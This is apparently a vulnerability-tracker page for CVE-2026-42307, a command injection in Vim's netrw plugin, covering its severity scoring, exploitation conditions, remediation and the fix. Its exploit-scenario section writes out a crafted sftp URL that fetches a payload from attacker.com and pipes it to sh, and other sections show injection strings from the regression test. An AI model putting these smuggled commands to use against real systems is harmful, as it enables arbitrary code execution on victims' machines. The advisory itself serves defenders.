Skip to main content

Vim CVE-2026-42307

MEDIUM
OS Command Injection (CWE-78)
2026-05-08 GitHub_M
4.4
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts sftp:// or file:// URL with shell metacharacters in filename suffix
  2. Delivery
    Social engineering delivers URL to Vim user (phishing, malicious repo, shared file)
  3. Exploit
    User opens URL in Vim with netrw active
  4. Install
    netrw extracts unsanitized suffix into tmpfile path
  5. C2
    Unescaped tmpfile argument passed to sftp or file shell command
  6. Execute
    Shell interprets injected metacharacters and executes attacker payload
  7. Impact
    Arbitrary commands run as the Vim process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target user to open a crafted URL within Vim with the netrw plugin active. The netrw plugin loads by default in standard Vim installations, so no special user configuration is required on the victim side. The attacker must control the URL presented to the victim - this is typically achieved through social engineering (phishing, malicious project files, crafted documentation). The CVSS UI:R metric confirms user interaction is mandatory. Exploitation is limited to local execution (AV:L): the attack cannot be triggered purely over the network without the user explicitly opening the URL in Vim. The resulting command executes with the privileges of the Vim process, which is ordinarily the standard user account - escalation to root is not provided by this vulnerability alone. Conditions that limit exploitation include: disabling netrw via g:loaded_netrwPlugin, running Vim without network protocol support, or using a Vim build that patches the netrw plugin prior to 9.2.0383.

Impact

The vendor-assigned CVSS 3.1 score of 4.4 (Medium) with vector AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N reflects local attack surface and required user interaction, but the C:L/I:L impact ratings appear conservative given that OS command injection at user privilege level typically yields full read/write access to all files owned by the process owner. An independent reassessment raises the impact metrics to C:H/I:H, producing a significantly higher score - this discrepancy should be noted by defenders. EPSS at 0.26% (49th percentile) is low, consistent with SSVC exploitation status of 'none' and non-automatable attack classification, meaning no widespread scanning or scripted exploitation is observed. The attack is constrained to social-engineering scenarios where an attacker must convince a Vim user to open a malicious URL, reducing realistic risk substantially compared to pure network-reachable vulnerabilities. KEV status is absent. Taken together, this vulnerability warrants patching on a standard schedule rather than emergency response, but the actual command-execution impact is more serious than the vendor CVSS score implies.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as sftp://attacker-controlled-host/document.txt;curl${IFS}attacker.com/payload|sh and embeds it in a phishing email, a README file in a cloned repository, or a shared project file. When the targeted user opens this URL in Vim - for instance via :e or by clicking the link in a terminal - netrw extracts the suffix including the injected semicolon and subsequent command, constructs a tmpfile path containing the payload, and passes it unescaped to the shell via sftp, causing the attacker's command to execute under the user's account. The commit diff's regression test (Test_netrw_tempfile_suffix_injection) demonstrates the exact mechanism using sftp://localhost/foo.txt;id>Xrce_marker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

OS command injection in Vim's netrw plugin prior to version 9.2.0383 allows arbitrary shell command execution at the privilege level of the Vim process when a user is induced to open a crafted sftp:// or file:// URL. The root cause is a two-part failure: the temporary file suffix extracted from the remote filename was not restricted to safe characters, and the resulting tmpfile path was passed unescaped to shell command construction in netrw#os#Execute(). No public exploit has been identified at time of analysis and SSVC confirms no observed exploitation, but the commit diff includes a regression test that demonstrates the injection path directly.

RemediationAI

The primary remediation is upgrading Vim to version 9.2.0383 or later, available at the official tagged release https://github.com/vim/vim/releases/tag/v9.2.0383. Ubuntu users should apply the packages referenced in USN-8304-1. If immediate patching is not feasible, the most effective compensating control is to disable the netrw plugin entirely by adding 'let g:loaded_netrwPlugin = 1' to the Vim vimrc configuration before netrw loads - this prevents all netrw functionality from initializing and eliminates the vulnerable code path, with the trade-off that all netrw-based remote browsing and file retrieval (sftp://, ftp://, file://, etc.) will cease to function. A narrower mitigation is to avoid opening URLs from untrusted sources within Vim, though this relies on user discipline rather than technical enforcement. Organizations using Red Hat or Ubuntu distributions should monitor vendor security channels for packaged updates.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable component is Vim's netrw standard plugin (runtime/pack/dist/opt/netrw/autoload/netrw.vim), which provides remote file browsing and retrieval via protocols including sftp:// and file://. When fetching a remote file, netrw extracts a suffix from the remote filename using the regex \.[^./]\+$ and appends it to a locally-constructed temporary filename. Prior to the fix, this regex permitted any character except dot and slash in the suffix, meaning shell metacharacters such as semicolons, ampersands, and spaces were allowed. The unsanitized suffix then appeared in the tmpfile path, which was passed without quoting to netrw#os#Execute() - producing shell commands like sftp host:/foo.txt;id>/tmp/injected - causing the shell to interpret the injected fragment as a separate command. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) precisely describes this failure. The fix applies two mitigations: restricting the suffix regex to \w\+$ (word characters only) and wrapping the tmpfile argument with netrw#os#Escape() in both the sftp and file command invocations, with the unused g:netrw_tmpfile_escape variable removed as it provided no real protection. CPE cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* indicates all platform-agnostic Vim builds are affected.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.4 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
vuln.today AI 7.3 HIGH

OS command injection yields arbitrary execution as the user; C:H/I:H better reflects full user-level file access than vendor's C:L/I:L.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 4.4 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to version 9.2.0383, an OS command injection vulnerability exists in the netrw standard plugin bundled with Vim. By inducing a user to open a crafted URL (e.g., using the sftp:// or file:// protocol handlers), an attacker can execute arbitrary shell commands with the privileges of the Vim process. This issue has been patched in version 9.2.0383.

Threat Intelligence Overview

EPSS Score
0.3%
Top 51% exploitable
Prevalence
High
Vim is a default or commonly installed editor across Linux and macOS server environments
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Fixed
SLES15-SP6-CHOST-BYOS Fixed
SLES15-SP6-CHOST-BYOS-Aliyun Fixed
SLES15-SP6-CHOST-BYOS-Azure Fixed
SLES15-SP6-CHOST-BYOS-EC2 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy